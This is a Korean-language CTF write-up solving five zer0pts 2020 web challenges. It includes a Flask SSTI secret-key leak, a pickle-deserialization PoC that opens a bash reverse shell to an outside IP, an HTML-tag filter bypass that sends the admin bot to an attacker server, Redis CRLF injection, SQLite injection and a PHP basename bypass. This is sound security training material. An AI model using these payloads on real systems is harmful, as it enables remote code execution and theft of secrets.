Zer0pts CTF 2020

 

image-20200309084922019

일본의 zer0pts 팀에서 주관한 CTF입니다.

[332pts] notepad (1st solve)

This notepad is more useful than Windows one, right?

Flask SSTI and pickle Unserialize 를 주제로 한 문제입니다.

1
2
3
4
5
6
7
8
9
10
11
@app.errorhandler(404)
def page_not_found(error):
""" Automatically go back when page is not found """
referrer = flask.request.headers.get("Referer")

if referrer is None: referrer = '/'
if not valid_url(referrer): referrer = '/'

html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

return flask.render_template_string(html), 404

404 페이지 렌더링에 사용되는 page_not_found 함수에서는 Referer 값을 인자로 하여 문자열을 구성해
flask의 render_template_string 함수로 전달하고 있습니다.

따라서 SSTI 에 취약하며, {{config}} 값을 삽입하는 것으로 서버의 시크릿 키을 알아낼 수 있습니다.

1
2
3
4
5
6
7
8
// Request
GET /x HTTP/1.1
Host: 3.112.201.75:8001
Referer: http://3.112.201.75:8001/?{{config}}
Connection: close

// Response
<html><head><meta http-equiv="Refresh" content="3;URL=http://3.112.201.75:8001/?<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None}>"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>

위와 같은 요청을 통해 SECRET_KEYb'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'라는 것을 알아냈으므로, session 값을 자유롭게 조작할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
...
import pickle
...
@app.route('/note/<int:nid>', methods=['GET'])
def notepad(nid=0):
data = load()

if not 0 <= nid < len(data):
nid = 0

return flask.render_template('index.html', data=data, nid=nid)
...
def load():
""" Load saved notes """
try:
savedata = flask.session.get('savedata', None)
data = pickle.loads(base64.b64decode(savedata))
except:
data = [{"date": now(), "text": "", "title": "*New Note*"}]

return data
...

pickle unserialize 가 실행되는 곳은 load 함수로 세션에서 savedata 값을 가져와 base64 복호화 한 후 pickle.loads 를 실행하고 있습니다.

따라서 savedata 값을 조작해준 후, load 함수를 호출하는 /note/<int:nid> 경로를 요청하면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask.sessions import SecureCookieSessionInterface
import os, sys, pickle, base64, requests

COMMAND = "bash -c 'bash -i >& /dev/tcp/15.165.0.114/8888 0>&1'"

class PickleRce(object):
def __reduce__(self):
return (os.system,(COMMAND,))

class App(object):
def __init__(self):
self.secret_key = None

app = App()
app.secret_key = b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'

si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)

session = serializer.dumps({'savedata':base64.b64encode(pickle.dumps(PickleRce()))})

requests.get('http://3.112.201.75:8001/note/1', cookies = {
'session': session
});

위는 pickle unserialize 를 이용해 rce를 하는 poc입니다.

[653pts] MusicBlog (2nd solve)

You can introduce favorite songs to friends with MusicBlog!

분류를 정하기 힘든 문제인데, client side attack 입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// (snipped)

const flag = 'zer0pts{<censored>}';

// (snipped)

const crawl = async (url) => {
console.log(`[+] Query! (${url})`);
const page = await browser.newPage();
try {
await page.setUserAgent(flag);
await page.goto(url, {
waitUntil: 'networkidle0',
timeout: 10 * 1000,
});
await page.click('#like');
} catch (err){
console.log(err);
}
await page.close();
console.log(`[+] Done! (${url})`)
};

// (snipped)

주어진 소스에서 worker.js 를 확인해 보면 페이지가 작성되면 관리자가 게시글에 들어가 like 버튼을 누른 후 봇이 종료됨을 확인할 수 있습니다.

플래그는 관리자의 user-agent 값에 포함되어 있네요.

1
2
3
4
$nonce = get_nonce();
header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');

서버에는 csp 가 걸려있어, 외부로 요청을 보낼 수 없습니다.

1
2
3
4
5
6
// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {
$str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
$str = strip_tags($str, '<audio>'); // only allows `<audio>`
return $str;
}

본 문제의 중요한 부분은 여기입니다.
게시글 작성 중에 사용되는 필터링 함수에서는, strip_tags 함수를 사용하고 있는데 본 함수에 존재하는 취약점을 통해 문제를 해결할 수 있습니다.

1
2
var_dump(strip_tags('<a/udio>', '<audio>'));
// string(8) "<a/udio>"

audio 태그만 허용해야 하는 것이 정상이지만, strip_tags 는 태그 사이에 slash 가 들어가는 것을 허용하고 있습니다. 따라서 우리는 a 태그를 사용할 수 있게 됩니다.

1
2
3
4
5
6
7
8
9
10
<div class="container">
<h1 class="mt-4">
<span class="badge badge-secondary">Secret</span> titie here </h1>
<span class="text-muted">by posix <span class="badge badge-love badge-pill">♥ 0</span></span>
<div class="mt-3">
content here </div>
<div class="mt-3">
<a href="like.php?id=5dfd06e9-741b-4fff-a3a5-4f5e8e79dac8" id="like" class="btn btn-love">♥ Like this post</a>
</div>
</div>

또한 content 가 들어가는 부분도 like 버튼보다 상위에 위치하고 있습니다.

1
<a/udio id="like" href="http://rwx.kr:8888">x

따라서 위와 같은 태그를 삽입해 주면, 공격자 서버로 접속하도록 할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
$ nc -lvp 8888
Listening on [0.0.0.0] (family 0, port 8888)
Connection from ec2-3-112-201-75.ap-northeast-1.compute.amazonaws.com 53510 received!
GET / HTTP/1.1
Host: rwx.kr:8888
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: zer0pts{M4sh1m4fr3sh!!}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge/post.php?id=2116dfe6-5cf1-459a-b575-cd59b08cdfa5
Accept-Encoding: gzip, deflate
Accept-Language: en-US

[435pts] urlapp

application here

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
require 'sinatra'
require 'uri'
require 'socket'

def connect()
sock = TCPSocket.open("redis", 6379)

if not ping(sock) then
exit
end

return sock
end

def query(sock, cmd)
sock.write(cmd + "\r\n")
end

def recv(sock)
data = sock.gets
if data == nil then
return nil
elsif data[0] == "+" then
return data[1..-1].strip
elsif data[0] == "$" then
if data == "$-1\r\n" then
return nil
end
return sock.gets.strip
end

return nil
end

def ping(sock)
query(sock, "ping")
return recv(sock) == "PONG"
end

def set(sock, key, value)
query(sock, "SET #{key} #{value}")
return recv(sock) == "OK"
end

def get(sock, key)
query(sock, "GET #{key}")
return recv(sock)
end

before do
sock = connect()
set(sock, "flag", File.read("flag.txt").strip)
end

get '/' do
if params.has_key?(:q) then
q = params[:q]
if not (q =~ /^[0-9a-f]{16}$/)
return
end

sock = connect()
url = get(sock, q)
redirect url
end

send_file 'index.html'
end

post '/' do
if not params.has_key?(:url) then
return
end

url = params[:url]
if not (url =~ URI.regexp) then
return
end

key = Random.urandom(8).unpack("H*")[0]
sock = connect()
set(sock, key, url)

"#{request.host}:#{request.port}/?q=#{key}"
end

루비로 구성된 redis ssrf 문제입니다.
개행에 대한 처리가 되어있지 않으므로 flag 키에 저장된 값을 가져와 원하는 대로 저장해서 불러와주면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Request 1
POST / HTTP/1.1
Host: 3.112.201.75:8004
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 117

url=http://rwx.kr
eval "redis.call('set','e41cf0f94e050661','http://rwx.kr?'..redis.call('get','flag'));return 1;" 0

// Request 2
GET /?q=e41cf0f94e050661 HTTP/1.1
Host: 3.112.201.75:8004
Connection: close

// Response
HTTP/1.1 302 Found
Content-Type: text/html;charset=utf-8
Location: http://rwx.kr?zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt}
Content-Length: 0
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Server: WEBrick/1.6.0 (Ruby/2.7.0/2019-12-25)
Date: Sun, 08 Mar 2020 21:40:28 GMT
Connection: close

[755pts] phpNantokaAdmin

phpNantokaAdmin is a management tool for SQLite.

Sqlite injection 문제입니다. 기존에 sqlite 에 대한 연구가 부족했기에 푸는데에 꽤나 오래 걸렸습니다.

본 문제를 해결하기 위해 응용되는 sqlite 문법은 총 3가지 입니다.

1
select [sql] from sqlite_master;

첫번째는 square bracket 입니다.
mssql 구문과의 호환성을 위해 sqlite 에서는 square bracket 을 다른 쿼트와 같은 기능을 할 수 있도록 지원하고 있습니다.

1
2
3
4
5
6
create table sometbl (somecol INT);
insert into sometbl values(1);
select somecol from sometbl;
// 1
select somecol somecoaaaal from sometbl;
// 1

두번째는 잘못된 문법 사용에 대한 것인데, sqlite 에서는 컬럼 사이에 반점을 붙여주지 않으면 실제로 존재하는 컬럼인지에 관계없이 뒤에 오는 컬럼명을 무시합니다.

1
2
3
create table sometbl2 as select 2;
select * from sometbl2;
2

세번째는 create table .. as select .. 문입니다.
본 구문은 괄호 없이 테이블 생성을 가능하도록 합니다.

1
2
3
4
POST /?page=create HTTP/1.1
...

table_name=[aaa]as select [sql][&columns[0][name]=]from sqlite_master;&columns[0][type]=2

image-20200309090320124

위에서 제시한 세가지 문법을 사용한 후, /?page=index 에 접속하면 플래그가 들어있는 테이블과 컬럼명을 확인할 수 있습니다. 이후에는 같은 방법으로 플래그를 읽으면 됩니다.

1
2
3
4
POST /?page=create HTTP/1.1
...

table_name=[aaa]as select [flag_2a2d04c3][&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2

image-20200309090554181

[345pts] Can you guess it (2nd solve)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>

게싱을 가장한 필터 바이패스 문제입니다.

PathPHP_SELF
/index.php
/index.phpindex.php
/index.php/config.phpindex.php/config.php

먼저 우리는 PHP_SELF가 조작될 수 있는 값이라는 것을 알아야 합니다.

따라서 index.php 가 붙은 앞부분은 어쩔 수 없지만, 뒷부분은 자유롭게 컨트롤 가능하므로 basename 함수를 통해 highlight_file 함수 인자로 전달되므로 index.php/config.phpconfig.php 를 출력하게 만듭니다.

1
2
3
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

그러나 여기서 문제가 발생합니다.
정규식 필터링을 수행하고 있는데 이에 걸리면 즉시 종료됩니다.

1
2
php > var_dump(basename("index.php/config.php/\xbb"));
// "config.php"

그러나 php는 우리를 배신하지 않습니다.
basename 함수는 뒤에 오는 [\x80-\xff] 범위의 문자열에 대해서는 철저히 무시합니다.

1
2
3
// http://3.112.201.75:8003/index.php/config.php/%bb?source
<?php
define('FLAG', 'zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}');

따라서 위 주소를 통해 플래그를 읽어올 수 있습니다.